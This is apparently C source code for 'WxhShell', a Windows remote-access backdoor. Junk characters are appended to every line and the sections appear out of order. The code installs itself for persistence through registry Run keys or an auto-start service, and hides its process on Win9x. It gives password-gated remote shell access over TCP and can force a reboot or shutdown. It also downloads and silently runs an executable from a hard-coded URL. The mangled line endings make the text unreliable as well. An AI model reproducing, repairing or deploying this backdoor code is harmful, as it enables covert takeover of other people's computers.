    if(Boot(SHUTDOWN)) h*w6/ZL1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ? \m3~6y  
    else { @{d\j]Nw  
    closesocket(wsh); <7 )Fh*W@  
    ExitThread(0); s0C:m  
    } kl}Xmw{tJ  
    break; gU1#`r>[)  
    } CO^Jz  
  // 获取shell cCi I{  
  case 's': { rmd;\)#*`  
    CmdShell(wsh); P)6 lu8zQ  
    closesocket(wsh); t6lE#<xZV;  
    ExitThread(0); Rc[0aj:  
    break; zY=jXa)K~  
  } OH6^GPF6  
  // 退出 &@v<nO-  
  case 'x': { t'1Y@e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Hcx=}j  
    CloseIt(wsh); ^6;V}2>v}  
    break; 3l4NC03I&  
    } Tum_aI  
  // 离开 g|%L"-%gJ  
  case 'q': { C#Bz >2;#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |< qs  
    closesocket(wsh); OqUr9?+  
    WSACleanup(); Bv9kSu9'~  
    exit(1); 5[gh|I;D  
    break; !EBY@ Y1  
        } Y`GOER  
  } d=3'?l`  
  } _yH`t[  
}-DE`c  
  // 提示信息 izZ=d5+K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 06 mlj6hV  
} 4Ysb5m)u  
  } m:+8J,jW  
gfa[4 z  
  return; Q2|p \rO  
} _\8qwDg"#e  
},@^0UH4c  
// shell模块句柄 Ykqyk')wm  
int CmdShell(SOCKET sock) bzZ>lyH  
{ b-^p1{A0zW  
STARTUPINFO si; kkCZNQ~I  
ZeroMemory(&si,sizeof(si)); 3Q By\1h.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HU;#XU1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {~Tg7<\L  
PROCESS_INFORMATION ProcessInfo; LnsD  
char cmdline[]="cmd"; Ao9R:|9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DcD{*t?x  
  return 0; 1Sz A3c  
} ?> D tw#}  
d_z 59  
// 自身启动模式 3=0E!e  
int StartFromService(void) K^l:MxO-X  
{ Ms^dRe)  
typedef struct 2 QTZwx  
{ wBSQ:f]g  
  DWORD ExitStatus; [bz T& o  
  DWORD PebBaseAddress; _BM4>r?\  
  DWORD AffinityMask; G$M9=@Ug  
  DWORD BasePriority; 'lz "2@4{  
  ULONG UniqueProcessId; kOL'|GgK  
  ULONG InheritedFromUniqueProcessId; DKL@wr}8  
}   PROCESS_BASIC_INFORMATION; +IFw_3$  
/=?x{(B>  
PROCNTQSIP NtQueryInformationProcess; q2aYEuu,  
N)2f7j4C &  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L1{GL #qV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5z}w}zdg  
23F/\2MSG  
  HANDLE             hProcess; u.XQ&  
  PROCESS_BASIC_INFORMATION pbi; `:NaEF?Sj  
<O<LYN+(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =+:{P?*}  
  if(NULL == hInst ) return 0; :mppv8bh  
-Z-f1.Dm5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )u%je~Vw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~&dyRt W4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A7_4 .VH  
9A'Y4Kg<C  
  if (!NtQueryInformationProcess) return 0; ?%tMohL  
2B0W~x2=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /phX'xp  
  if(!hProcess) return 0; -Apc$0ZsN  
;|T!#@j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &)d$t'7p  
VosZJv=  
  CloseHandle(hProcess); f|7\DeY9U  
ZUm?*.g\^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \>. LW9  
if(hProcess==NULL) return 0; S[3iA~)Z-  
XN=67f$Hw  
HMODULE hMod; ,_.I\EY[  
char procName[255]; }Db[ 4  
unsigned long cbNeeded; 2&mGT&HAVA  
6RO(]5wX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C$h<Wt=<  
yOU(2"8p  
  CloseHandle(hProcess); 2j JmE&)7,  
s9;#!7ms  
if(strstr(procName,"services")) return 1; // 以服务启动 6 gL=u-2  
7,qYV}  
  return 0; // 注册表启动 :$;Fhf<5  
} a]17qMl  
7w :ef0S  
// 主模块  .~A*=  
int StartWxhshell(LPSTR lpCmdLine) `_I@i]i^  
{ Qf M zF  
  SOCKET wsl; OVzt\V*+%W  
BOOL val=TRUE; g,t jm(  
  int port=0; b \KL;H/  
  struct sockaddr_in door; GE;e]Jkjn  
rEhX/(n#  
  if(wscfg.ws_autoins) Install(); Xazo 9J  
h` U?1xS  
port=atoi(lpCmdLine); - O98pi  
>2$5eI  
if(port<=0) port=wscfg.ws_port; v,-{Z1N%m  
G'2#9<c*  
  WSADATA data; _/8FRkx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n9w9JXp;!  
`+'rib5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oBQ#eW aY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (/!r(#K0,'  
  door.sin_family = AF_INET; #4MBoN(3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <9E0iz+j  
  door.sin_port = htons(port); ptatzp]c#  
5Wyz=+?m|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qf@q]wtar  
closesocket(wsl); 8KB>6[H!wE  
return 1; `e9$,h|4  
} Q?ahr~qo  
 B[=(#W  
  if(listen(wsl,2) == INVALID_SOCKET) { 4a0:2 kIKa  
closesocket(wsl); gTgMqvt  
return 1; F>tQn4  
} h5%<+D<  
  Wxhshell(wsl); (Fq5IGs  
  WSACleanup(); O ,rwP  
+a&p$\  
return 0; <DKS+R  
m }a|FS  
} Y$N)^=7  
^4r73ak/):  
// 以NT服务方式启动 #_lt~^ 6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C{sLz9  
{  S( S#  
DWORD   status = 0; /MY9 >  
  DWORD   specificError = 0xfffffff; z,qRcO&  
S)QAXjH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;Op3?_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +4[^!q* H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s2?T5oWU  
  serviceStatus.dwWin32ExitCode     = 0;  Q~R ~xz  
  serviceStatus.dwServiceSpecificExitCode = 0; Q9I j\HbA"  
  serviceStatus.dwCheckPoint       = 0; sK{l 9  
  serviceStatus.dwWaitHint       = 0; +iRq8aS_  
.Ha'p.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A+y  
  if (hServiceStatusHandle==0) return; ;\EiM;Q]  
WZOY)>K  
status = GetLastError(); ,yd MU\so(  
  if (status!=NO_ERROR) ]| N3eu  
{ ^~{$wVGa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a+hd(JX0~  
    serviceStatus.dwCheckPoint       = 0; ,Jcm+ Wb  
    serviceStatus.dwWaitHint       = 0; ^w]/  
    serviceStatus.dwWin32ExitCode     = status; lb'GXd %  
    serviceStatus.dwServiceSpecificExitCode = specificError; T\Uek-(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iXyO(w4D  
    return; <0yE 5Mrf  
  } uOa26kE4  
C6O8RHg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ??n*2s@t  
  serviceStatus.dwCheckPoint       = 0; * ),8PoT  
  serviceStatus.dwWaitHint       = 0; OB[o2G<0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'n<iU st  
} nz9DLAt  
y5Tlpi`g  
// 处理NT服务事件,比如:启动、停止 GUF"<k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Bo<>e~6P  
{ R!l:O=[<  
switch(fdwControl) V9ssH87#  
{ lKEkXO  
case SERVICE_CONTROL_STOP: ;7N Z<k  
  serviceStatus.dwWin32ExitCode = 0; AuR$g7z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d Le-nF  
  serviceStatus.dwCheckPoint   = 0; >A0k 8T  
  serviceStatus.dwWaitHint     = 0; "NgoaG~!YO  
  { PrudhUI^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : tWU .f#  
  } MxyN\Mq'  
  return; J8Yd1.Qj  
case SERVICE_CONTROL_PAUSE: `%09xMPu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mhW-J6u*  
  break; o)OUWGjb/K  
case SERVICE_CONTROL_CONTINUE: qlA7tU2p&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k`GA\&zt  
  break; odg<q$34  
case SERVICE_CONTROL_INTERROGATE: ,39aF*r1Q  
  break; oI^4pwnh  
}; VCtH%v#S;.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PjN =k;  
} +7t6k7]c  
"5eNLqt^q  
// 标准应用程序主函数 %pXAeeSY`;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <C9 XX~  
{ [F5h   
""s]zNF}  
// 获取操作系统版本 `vc "Q/  
OsIsNt=GetOsVer(); #2`D`>7456  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1SrJ6W @j[  
4%1D}9hO6  
  // 从命令行安装 rQ=,y>-*  
  if(strpbrk(lpCmdLine,"iI")) Install(); U^qt6$bK  
Z}|(F RVk  
  // 下载执行文件 %*#n d  
if(wscfg.ws_downexe) { ;<0LXYL;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >5Wlc$bc  
  WinExec(wscfg.ws_filenam,SW_HIDE); SZJ$w-<z  
} z<.?x%4O  
Mwgu93?  
if(!OsIsNt) { lo'W1p  
// 如果时win9x,隐藏进程并且设置为注册表启动 q5>v'ZSo  
HideProc(); :>itXD!  
StartWxhshell(lpCmdLine); *6 _tQ9G  
} "*,XL uv>  
else QXF aAb=(7  
  if(StartFromService()) 5=e@d:Sz  
  // 以服务方式启动 W cC?8X2  
  StartServiceCtrlDispatcher(DispatchTable); JWA@+u*k  
else M>M`baM1  
  // 普通方式启动 erVO|<%=R  
  StartWxhshell(lpCmdLine); EC|'l  
Jv.U Q  
return 0; #z1H8CFL"  
} )"+(butI&  
!?^b[ nC%  
2< hAa9y  
3BpZX`l*p  
=========================================== D~o$GW%  
N41R  
<L&m4O#|  
.(Qx{r$  
,RN:^5 p  
"QvmqI>  
" QMEcQV>  
(|wz7 AY2  
#include <stdio.h> R0oKbs{  
#include <string.h> #$3yz'"QF  
#include <windows.h> r!,}Z=cGe  
#include <winsock2.h> fvb=#58N_  
#include <winsvc.h> tl'n->G>v  
#include <urlmon.h> C{2xHd/*  
 jq08=  
#pragma comment (lib, "Ws2_32.lib") mqq;H}  
#pragma comment (lib, "urlmon.lib") Qv-@Zt!8  
97)/"i e  
#define MAX_USER   100 // 最大客户端连接数 m[k_>e\ u  
#define BUF_SOCK   200 // sock buffer 85;b9k&\M  
#define KEY_BUFF   255 // 输入 buffer GJqE!I,.  
*6(kbes  
#define REBOOT     0   // 重启 f-n z{U  
#define SHUTDOWN   1   // 关机 Y'e eA 2O  
\p%3vRwS%p  
#define DEF_PORT   5000 // 监听端口 sZ?mP;Q  
@,XSs  
#define REG_LEN     16   // 注册表键长度 2 1PFR:lP7  
#define SVC_LEN     80   // NT服务名长度 ![f ![l  
W-/}q0h  
// 从dll定义API j5I`a 1j`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hR5_+cuIp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "*O4GPj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2S' {!A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zf5`XslA.  
2c?qV  
// wxhshell配置信息 zXsc1erli  
struct WSCFG { oq*N_mP0  
  int ws_port;         // 监听端口 UJs$q\#RO  
  char ws_passstr[REG_LEN]; // 口令  JMdPwI  
  int ws_autoins;       // 安装标记, 1=yes 0=no h~wi6^{&Y  
  char ws_regname[REG_LEN]; // 注册表键名 5{$LsL  
  char ws_svcname[REG_LEN]; // 服务名 OxGE%R,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e6_ZjrQf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W[+|}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V(Yxh+KU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %7g:}O$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?uMQP NYs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {D g_?._d  
HHjt/gc}`  
}; Lr`1TH,  
DQwGUF'(  
// default Wxhshell configuration &F}"Z(B<wK  
struct WSCFG wscfg={DEF_PORT, ^uJU}v:  
    "xuhuanlingzhe", k=GG>]<i  
    1, 9C t`  
    "Wxhshell", ud fe  
    "Wxhshell", ddVa.0Z!<  
            "WxhShell Service", jgS%1/&  
    "Wrsky Windows CmdShell Service", ]59i>  
    "Please Input Your Password: ", c]B$i*t  
  1, -YD+(c`l  
  "http://www.wrsky.com/wxhshell.exe", 34!dYr%  
  "Wxhshell.exe" RI2f`p8k  
    }; 'Peni1_  
>R/$1e1Y  
// 消息定义模块 g,:j/vR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M/Pme&%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PR|R`.QSs  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,#W  
char *msg_ws_ext="\n\rExit."; 5<L_|d)0"  
char *msg_ws_end="\n\rQuit."; 5PcJZi^.l  
char *msg_ws_boot="\n\rReboot..."; tRpEF2  
char *msg_ws_poff="\n\rShutdown..."; %zU`XVNN+  
char *msg_ws_down="\n\rSave to "; =uDgzdDyE  
<}6{{&mT4  
char *msg_ws_err="\n\rErr!"; |w}xl'>q  
char *msg_ws_ok="\n\rOK!";  '8j$';&`  
!EQ@#qW/  
char ExeFile[MAX_PATH]; 3sCFHn#c  
int nUser = 0; 4em;+ >D6  
HANDLE handles[MAX_USER]; r6'UUu  
int OsIsNt; g]UBZ33y  
^TB>.c@`*  
SERVICE_STATUS       serviceStatus; *)]"27^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fFjH "2WD  
Il.Ed-&62  
// 函数声明 /m _kn  
int Install(void); . |*f!w}5  
int Uninstall(void); H UoyLy  
int DownloadFile(char *sURL, SOCKET wsh); !6&W,0<  
int Boot(int flag); `MP|Ovns:H  
void HideProc(void); fA48(0p  
int GetOsVer(void); fri0XxF  
int Wxhshell(SOCKET wsl); R_sC! -  
void TalkWithClient(void *cs); 2wqk,c[]  
int CmdShell(SOCKET sock); 8vk..!7n}  
int StartFromService(void); #GaxZ  
int StartWxhshell(LPSTR lpCmdLine); r3rxC&  
drwgjLC+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3\;27&~gV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W(fr<<hL  
Da$r`  
// 数据结构和表定义  g/UaYCjM  
SERVICE_TABLE_ENTRY DispatchTable[] = Y,8KPg@W  
{ P\CDd=yWc  
{wscfg.ws_svcname, NTServiceMain}, )Z+{|^`kJ  
{NULL, NULL} 2}?wYI*:5|  
}; l:]Nn%U(>  
]aCk_*U  
// 自我安装 pS4&w8s  
int Install(void) +MK6zf  
{ c^8o~K>w84  
  char svExeFile[MAX_PATH]; +*oS((0s  
  HKEY key; d +iR/Ssc  
  strcpy(svExeFile,ExeFile); /9y aW7w  
S'~o,`xy  
// 如果是win9x系统,修改注册表设为自启动 6B$q,"%S@  
if(!OsIsNt) { JFL>nH0mk.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wl^R8w#Z$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m"c :"I6  
  RegCloseKey(key); ~#\i!I;RY}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9@ $,oM=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N^VD=<#T  
  RegCloseKey(key); /RLq>#:h**  
  return 0; `nR%Cav,U  
    } t<:D@J]a  
  } /W#O +  
} 3>z[PPw  
else { ;evCW$G=  
0e["]Tlnm  
// 如果是NT以上系统,安装为系统服务 l6[lJ0Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \F,DA"K_  
if (schSCManager!=0) }W)=@t  
{ H]<]^Zmjy  
  SC_HANDLE schService = CreateService (UNtRz'=;  
  ( B6Ej{q^k,  
  schSCManager, ~fz[x9\  
  wscfg.ws_svcname, $N$ FtpB  
  wscfg.ws_svcdisp, 1-I Swd'u  
  SERVICE_ALL_ACCESS, *5%*|>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D}Ilyk_uUw  
  SERVICE_AUTO_START, F="z]C;u  
  SERVICE_ERROR_NORMAL, V%HS\<$h  
  svExeFile,  'k&?DZ!  
  NULL, 7dh1W@\  
  NULL, ~$O1`IT  
  NULL, 09M;}4ev&7  
  NULL, TY;U2.Ud  
  NULL NCA {H^CL  
  ); @D`zKYwX1  
  if (schService!=0) i`%.  
  { ;)DzC c/  
  CloseServiceHandle(schService); z}}]jR \y?  
  CloseServiceHandle(schSCManager); ]Gc3Ea;4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g( 0;[#@  
  strcat(svExeFile,wscfg.ws_svcname); P 2n2 Qt2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k7_I$ <YDj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z#`0txCF  
  RegCloseKey(key); SP 2 8  
  return 0; -7'#2P<)  
    } 9CUimZ  
  } #:3r4J%+~  
  CloseServiceHandle(schSCManager); \9)[ #Ld  
} Mj0Cat=  
} p}]q d4j  
>',y  
return 1; ;kaHN;4?  
} {7Cx#Ewd  
>e5zrgV  
// 自我卸载 Q882B1H  
int Uninstall(void) r -f  
{ 0rMqWP  
  HKEY key; .")b?#K  
PB~_I=  
if(!OsIsNt) { &yH#s 8^8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nYv#4*  
  RegDeleteValue(key,wscfg.ws_regname); ^6/j_G  
  RegCloseKey(key); "2n;3ByR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L9IGK<  
  RegDeleteValue(key,wscfg.ws_regname); n~z\?Y=*  
  RegCloseKey(key); 4".J/I5u  
  return 0; .PVLWW  
  } eVnbRT2y&  
} RJ J1  
} d5xxb _oE  
else { ]H2R  
=xEk7'W6k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;?6>mh(`  
if (schSCManager!=0) H$!-f>Rxa  
{ 'ND36jHcRD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); FuP}Kec  
  if (schService!=0) m% bE-#  
  { *d*oS7  
  if(DeleteService(schService)!=0) { |i)lh_iN  
  CloseServiceHandle(schService); 5 Rz/Ri\c=  
  CloseServiceHandle(schSCManager); <A~GW 'HB  
  return 0; P!+v:'P5f  
  } okBE|g  
  CloseServiceHandle(schService); gn5% F5W  
  } oW'PO Ar  
  CloseServiceHandle(schSCManager); {*=E?oF@  
} 5}<[[}(  
} %<U{K;  
.Vx|'-u  
return 1; GEE ]Kr  
} dXP6"V@iI  
F/<qE!(  
// 从指定url下载文件  {;RF  
int DownloadFile(char *sURL, SOCKET wsh) gg8c7d:Q  
{ |QYZRz  
  HRESULT hr; iPU% /_>  
char seps[]= "/"; qc0 B<,x7  
char *token; 6+%-GgPf  
char *file; GoeIjuELR  
char myURL[MAX_PATH]; :o\5K2]:  
char myFILE[MAX_PATH]; _'c+fG \  
kME^tpji  
strcpy(myURL,sURL); lwsbm D  
  token=strtok(myURL,seps); ]18Ucf  
  while(token!=NULL) 5^F]tRz-  
  { S8*>kM'  
    file=token; eUs-5 L  
  token=strtok(NULL,seps); @^wpAQfd4  
  } $I(}r3r  
R92R}=G!  
GetCurrentDirectory(MAX_PATH,myFILE); ~u2w`H?V  
strcat(myFILE, "\\"); _?Ckq  
strcat(myFILE, file); Y`]rj-8f0B  
  send(wsh,myFILE,strlen(myFILE),0); q2Rf@nt  
send(wsh,"...",3,0);  QT_^M1%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L<E/,IdE  
  if(hr==S_OK) ;Xh5oB\)W  
return 0; \P@S"QO  
else qvN"1=nJ  
return 1; S~|tfJpL  
gUb "3g0  
} @SQceQfB  
a|z1K  
// 系统电源模块 ?1$\pq^  
int Boot(int flag) R25-/6_V>  
{ |YXG(;-BS  
  HANDLE hToken; }JGq1  
  TOKEN_PRIVILEGES tkp; [U']kt  
6>lW5U^yA\  
  if(OsIsNt) { (l2<+R%1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DZ%8 |PmB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >E~~7Yal  
    tkp.PrivilegeCount = 1; i2U/RXu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :^.u-bHI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c*jr5 Y  
if(flag==REBOOT) { Ss+F9J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZgK@Fl*k  
  return 0; ?9qAe  
} .:SfM r;G  
else { ]ci RiMkT(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P1e5uJkd  
  return 0; #e*$2+`[A  
} >7W"giWP  
  } F-i&M1 \_  
  else { ?;/{rITP#  
if(flag==REBOOT) { 8@Q"YA 3d+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fA;x{0CAMX  
  return 0; R,XD6'Q  
} br10ptEx  
else { @!Y.935/0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &4[<F"W>47  
  return 0; `c>A >c|  
} jw/ wcP  
} J511AoQ{R  
x[Hhj'  
return 1; ;Xz(B4N~o  
} aTi0bQW{  
!(}OBZ[*  
// win9x进程隐藏模块 9B& }7kk  
void HideProc(void) >&g2 IvDS  
{ "rL"K  
;A`IYRzt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *-+C<2"  
  if ( hKernel != NULL ) j`Tm\!q  
  { }D(DU5r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _8Pmv$   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yFIl^Ck%  
    FreeLibrary(hKernel); IwOfZuS  
  } tP -5  
% 1OC#&  
return; hwc:@'  
} 1mAUEQ!  
Al)lWD}j2g  
// 获取操作系统版本 elNB7%Y/  
int GetOsVer(void) oM-b96  
{ 8a_ UxB  
  OSVERSIONINFO winfo; ^V_ku@DY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |)~Ex 9%ev  
  GetVersionEx(&winfo); wbn^R'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7cy+Nz  
  return 1; Fa6H(L3  
  else j'#)~>b  
  return 0; !^n1  
} eUi> Mp  
PV5-^Y"v  
// 客户端句柄模块 &II JKn|_  
int Wxhshell(SOCKET wsl) D:+)uX}MOf  
{ >B@i E  
  SOCKET wsh; xn0s`I[  
  struct sockaddr_in client; 't||F1X~J  
  DWORD myID; >|y>e{P  
F0X5dv  
  while(nUser<MAX_USER) "v*oga%  
{ ^U R-#WaQ  
  int nSize=sizeof(client); 6tDg3`w>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8ct+?-3g  
  if(wsh==INVALID_SOCKET) return 1; oSpi{ $x  
oFX"F0rx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m 4wPuW  
if(handles[nUser]==0) nNkyOaK*4  
  closesocket(wsh); :Bdipc  
else @&/s~3  
  nUser++; `NYF?%  
  } FF5tPHB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TsoCW]h  
[i2A{(x  
  return 0; V,99N'o~x  
} ;P 0,60  
GLbc/qs  
// 关闭 socket Gsx^j?  
void CloseIt(SOCKET wsh) >eYU$/80  
{ U^vUdM"  
closesocket(wsh); )*q7pO\cty  
nUser--; &<\4q  
ExitThread(0); IBn'iE[>  
} TyxU6<>4J4  
9;;]q?*  
// 客户端请求句柄 Vu_7uSp,)  
void TalkWithClient(void *cs) My'9S2Y8nv  
{ ^K1~eb*K  
: HQ8M*o  
  SOCKET wsh=(SOCKET)cs; +H2m<  
  char pwd[SVC_LEN]; \;A50U|r  
  char cmd[KEY_BUFF]; #"3[f@|e  
char chr[1]; vWPM:1A  
int i,j; pe`TH::p  
}.fZy&_  
  while (nUser < MAX_USER) { [qO5~E`;  
2ID*U d*  
if(wscfg.ws_passstr) { y@2vY[)3s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #U\&i`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Huc3|~9  
  //ZeroMemory(pwd,KEY_BUFF); hlSB7D"d  
      i=0; LLXg  
  while(i<SVC_LEN) {   2  
kx;xO>dC  
  // 设置超时 B` t6H  
  fd_set FdRead; 8gu'dG=  
  struct timeval TimeOut; CWobvR)e  
  FD_ZERO(&FdRead); &V ^  
  FD_SET(wsh,&FdRead); Xy3g(x]  
  TimeOut.tv_sec=8; Y%n{`9=  
  TimeOut.tv_usec=0; )sqp7["-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sp=7Kh?|>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u`L!za7fi  
V{ a}#J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !.tL"U~4  
  pwd=chr[0]; {Kq*5Aq8  
  if(chr[0]==0xd || chr[0]==0xa) { mTrI""Jsu;  
  pwd=0; .>AFf9P  
  break; Q+y-*1   
  } x`j$9XN5  
  i++; Eb4< 26A  
    } Sh~ 8jEk  
JWUv H  
  // 如果是非法用户,关闭 socket }QApeZd+q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !"o1ve`{  
} N>F2 c)rm  
On2Vf*G@|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); flm,r<*}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P@! Q1pr  
~]6Oz;~<3  
while(1) { WL]Wu.k  
$@ T6g  
  ZeroMemory(cmd,KEY_BUFF); jiw`i  
SoM ]2^  
      // 自动支持客户端 telnet标准   YDZ1@N}^B  
  j=0; L&3Ar'  
  while(j<KEY_BUFF) { .H[Lo>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ue>A  
  cmd[j]=chr[0]; >gS5[`xRE  
  if(chr[0]==0xa || chr[0]==0xd) { ;k63RNT,M&  
  cmd[j]=0; ] fwTi(4y  
  break; U# FJ8CD&u  
  } LzEE]i  
  j++; ~3*ZG  
    } >m;|I/2@  
JUaKj@a|  
  // 下载文件 r,Y/4(.c7U  
  if(strstr(cmd,"http://")) { BHRrXC\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8YJqM,t5)  
  if(DownloadFile(cmd,wsh)) u6bB5(s`&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4<eJ  
  else B 3,ig9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.oS8'   
  } m;tY(kO  
